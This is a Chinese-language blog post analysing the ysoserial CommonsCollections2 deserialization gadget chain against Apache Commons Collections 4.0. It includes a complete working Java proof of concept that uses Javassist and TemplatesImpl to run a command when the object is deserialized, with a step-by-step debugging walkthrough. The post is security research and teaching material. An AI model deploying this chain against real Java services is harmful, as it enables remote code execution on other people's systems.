Ysoserial Commons Collections2分析
Ysoserial Commons Collections2分析
About Commons Collections2
CC2与CC1不同在于CC2用的是Commons Collections4.0;同时利用方式CC2用到了Javassist动态编程,从功能上来说CC1用于执行命令,而CC2可以任意代码执行危害更大,所以像常用的shiro打内存马也会用到CC2。
CC2 Gadget Chain
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
poc
public class cc2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault(); //获取默认类池
classPool.appendClassPath(AbstractTranslet); //末尾添加一个ClassPath
CtClass payload=classPool.makeClass("j"); //新创建一个类,类名为j
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置AbstractTranslet为该类父类
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");"); //创建一个静态构造方法并将其内容设置为弹calc
byte[] bytes=payload.toBytecode(); //将该ctclass转为byte流
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); //反射创建TemplatesImpl对象
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes"); //反射获取属性值_bytecodes
field.setAccessible(true); //强制反射
field.set(templatesImpl,new byte[][]{bytes}); //重新设置_bytecodes的值为bytes也就是弹calc
Field field1=templatesImpl.getClass().getDeclaredField("_name"); //反射获取属性_name
field1.setAccessible(true); //强制反射
field1.set(templatesImpl,"test"); //将_name属性赋值为test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
前置知识
PriorityQueue
Queue是一个(FIFO)先进先出的队列,而PriorityQueue是一个根据元素优先级出队的队列类。
构造方法
PriorityQueue(int initialCapacity)
创建具有指定初始容量的PriorityQueue ,该容量根据其natural ordering对其元素进行排序 。
常用方法
boolean add(E e)
将指定的元素插入此优先级队列。
Javassist
Javassist的默认类池搜索系统搜索路径,通常包括平台库、扩展库以及-classpath选项或CLASSPATH 环境变量指定的搜索路径 。
关于Javassist不会详细解读,没了解过Javassist的师傅也可以参考我这篇文章https://www.cnblogs.com/CoLo/p/15383642.html
Field
field.set(Object obj, Object value): 将指定对象变量上此 Field 对象表示的字段设置为指定的新值.
PoC分析
后面会把poc拆分成几部分依次过一下
首先看第一部分, 声明了两个string:AbstractTranslet,TemplatesImpl ;之后用到了javassist创建了一个类,类名为j,同时设置该类父类为AbstractTranslet并通过makeClassInitializer方法在该类中添加静态代码块,代码块内容为弹calc。
看到这里大概可以猜到后续应该会初始化该类从而触发在该类中写入的静态代码块内容去弹计算器(or 任意代码执行)。
抛出问题1: 为什么要设置父类为AbstractTranslet?
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault(); //获取默认类池
classPool.appendClassPath(AbstractTranslet); //append一个ClassPath,为后续设置父类作准备
CtClass payload=classPool.makeClass("j"); //新创建一个类,类名为j
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置AbstractTranslet为该类父类
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");"); //创建一个静态代码块并将其内容设置为弹calc
这里可以添加一行代码payload.writeFile("./");将此class文件输出到当前目录看一下会比较清晰明了。

继续看第二部分。将新建的类转换为byte数组,通过反射创建TemplatesImpl实例化对象赋值给了templatesImpl,并通过反射拿到了该对象的_bytecodes并设置属性值为上面新建的类的byte数组。
抛出问题2:为什么要将上面我们新建好的类转为bytes数组再赋值给TemplatesImpl类的_bytecodes?
之后依然是反射拿到_name属性并赋值test,看起来像是随意赋值,只要_name有值即可。
抛出问题3:为什么_name属性必须要有值?
byte[] bytes=payload.toBytecode(); //将该ctclass转为byte流
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); //反射创建TemplatesImpl对象
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes"); //反射获取属性值_bytecodes
field.setAccessible(true); //强制反射
field.set(templatesImpl,new byte[][]{bytes}); //重新设置_bytecodes的值为bytes也就是弹calc
Field field1=templatesImpl.getClass().getDeclaredField("_name"); //反射获取属性_name
field1.setAccessible(true); //强制反射
field1.set(templatesImpl,"test"); //将_name属性赋值为test
首先切入问题2,在poc中readObject下断点跟到com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java中,看下TemplatesImpl的源码,其实打fj多的师傅应该比较熟悉TemplatesImpl,这也是打fj的payload会用到的点。
调用栈如下,最后是在com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java#defineTransletClasses方法执行的代码

先只关注TemplatesImpl部分,首先newTransformer方法在执行new TransformerImpl时调用了getTransletInstance()

进入getTransletInstance(),由于_class为null,进入defineTransletClasses方法

到这里就很清晰了,通过ClassLoader#defineClass()加载_byrecides属性值的字节流数据创建恶意类并返回给_class数组,后续会对其进行实例化,所以这也是为什么要将上面我们新建好的类转为bytes数组再赋值给TemplatesImpl类的_bytecodes而不是选择其他类或其他属性。

而关于之前第一个问题为什么要设置父类为AbstractTranslet,因为要走到下面的if判断中给_transletIndex属性重新赋值,这个属性在TemplatesImpl中默认设置为-1,而重新设置值与后面的实例化触发静态代码块中代码执行有关

回到TemplatesImpl#getTransletInstance()将一开始创建的类通过(AbstractTranslet) _class[_transletIndex].newInstance()触发代码执行,而如果_transletIndex值为-1的话应该会抛下标越界就不能正常的实例化触发静态代码块中的代码执行了。这里注意第一个if,需要_name不为null才继续往下走,所以这也是问题3为什么_name属性要设置一个值。

所以后续找到如何调用的newTransformer方法即可。poc中给的是InvokerTransformer去反射调用newTransformer的执行,其流程大致为先获取InvokerTransformer对象之后将其作为TransformingComparator构造方法的参数来实例化一个TransformingComparator对象,后续创建了一个PriorityQueue添加了两个元素。
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
后续和之前一样的操作通过反射分别给comparator和queue赋值,如下图

最后就是序列化queue对象写入test.out之后读取test.out再进行反序列化触发代码执行
抛出问题4:为什么要添加两个元素呢?
这里可以带着问题调试poc观察下
调试分析
还是在poc中readObject()处下断点,跟进到PriorityQueue#readObject(),跟进heapify()

这里是一个for循环,注意size就是我们前面设置的PriorityQueue的长度,这里做了无符号右移1位 再-1的操作。

放两张图感受下,所以这也是问题4为什么要添加两个元素的答案,如果只放一个就直接跳出for不再继续往下调用siftDown方法了

后续就比较简单了,进入siftDown方法后调用siftDownUsingComparator方法

siftDownUsingComparator方法中调用compare方法,其中x为我们弹计算器的恶意类

compare方法中调用InvokerTransformer#transform()方法

transform中反射调用com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl#newTransformer()

在其中调用了getTransletInstance()

先做了_name是否为null的判断,之后进入defineTransletClasses()方法。

在其中调用了ClassLoader#defaineClass()方法加载bytes数组生成恶意类

并判断该类父类是否为对_transletIndex重新赋值或到最后抛出异常

回到getTransletInstance()方法实例化我们的恶意类最终触发静态代码块中代码执行。


其实调试下来会发现poc的chain和yso中的不太一样,yso封装的太多,感觉不如直接调poc来的更易理解。不过yso还是要去深入理解的非常好的项目:D
PoC Chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
End
一开始看这条链头大,有些没接触到的东西且cc1也是前一段时间分析的了,没有那么的熟悉所以看起来很吃力,还是需要多调试几次。其实对于每个细节都是有说法的,需要带着问题去调试会更容易理解。
Ysoserial Commons Collections2分析的更多相关文章
- Java安全之Commons Collections2分析
Java安全之Commons Collections2分析 首发:Java安全之Commons Collections2分析 0x00 前言 前面分析了CC1的利用链,但是发现在CC1的利用链中是有版 ...
- Ysoserial Commons Collections3分析
Ysoserial Commons Collections3分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...
- Ysoserial Commons Collections7分析
Ysoserial Commons Collections7分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...
- ysoserial Commons Collections2反序列化研究
Apache Commons Collections2反序列化研究 环境准备 JDK 1.7 Commons Collections 4.0 javassit 前置知识 PriorityQueue() ...
- Commons Collections2分析
0x01.POC分析 //创建一个CtClass对象的容器 ClassPool classPool=ClassPool.getDefault(); //添加AbstractTranslet的搜索路径 ...
- Java安全之Commons Collections3分析
Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...
- Java安全之Commons Collections5分析
Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...
- Java安全之Commons Collections7分析
Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...
- Java安全之Commons Collections6分析
Java安全之Commons Collections6分析 0x00 前言 其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别.在CC6链中也和CC ...
随机推荐
- 原来:HTTP可以复用TCP连接
问题 线上的一个项目会和微信服务器有API请求(目的是获取用户的微信信息),但会有偶发的报错: 'Connection aborted.', ConnectionResetError(104, 'Co ...
- 接口自动化-python+requests+pytest+csv+yaml
本套代码和逻辑 是本人的劳动成果,如果有转载需要标注, 非常适合公司做项目的同学!!!小白也可以学哦! 1.项目目录 2.公共方法的封装 2.1如果不用配置文件 可以使用这个方法进行封装--但是有一 ...
- iNeuOS工业互联平台,增加OPC UA驱动,同步和订阅方式读取数据
目 录 1. 概述... 1 2. 平台演示... 2 3. OPC UA应用效果... 2 1. 概述 最近的项目,用户需要使用OPC UA读取数据,通 ...
- (八)羽夏看C语言——C番外篇
写在前面 此系列是本人一个字一个字码出来的,包括示例和实验截图.本人非计算机专业,可能对本教程涉及的事物没有了解的足够深入,如有错误,欢迎批评指正. 如有好的建议,欢迎反馈.码字不易,如果本篇文章 ...
- Python+mirai开发QQ机器人起步教程(2021.9.9测试有效)
参考:开发 mirai QQ机器人起步教程_叹之-CSDN博客_mirai python 本篇文章参考了以上博客,并对其中的失效内容和版本匹配问题进行了补充修改,实测能够成功运行.部分步骤的运行截图见 ...
- noip模拟40
\(\color{white}{\mathbb{名之以:海棠}}\) 考场 \(t1\) 看见题意非常简单,觉得可能是个简单题 暴力算出几个小样例右端点右移的时候左端点都是单调右移的,以为具有单调性, ...
- 加载映射文件几种方式和mapper接口注解执行sql语句
一.加载映射文件几种方式 二.mapper接口注解执行sql语句 就将xml中的sql语句放到注解的括号中就可以,一般只用于简单的sql语句合适:
- golang 判断平台是32位还是64位
在strconv包中有个常量 const intSize = 32 << ( ^uint(0) >> 63 ) const IntSize = intSize ...
- POJ3061——Subsequence(尺取法)
Subsequence POJ - 3061 给定长度为n的数列整数a0,a1,a2-an-1以及整数S.求出总和不小于S的连续子序列的长度的最小值,如果解不存在输出0. 反复推进区间的开头和末尾,来 ...
- Jenkins操作手册 - 巨详细,一篇足矣!
一.继续集成相关概念 1.1.什么是持续集成? 随着软件开发复杂度的不断提高,团队开发成员间如何更好的协同工作以确保软件开发的质量已经成为开发过程中不可回避的问题.尤其是近年来敏捷开发在软件领域越来越 ...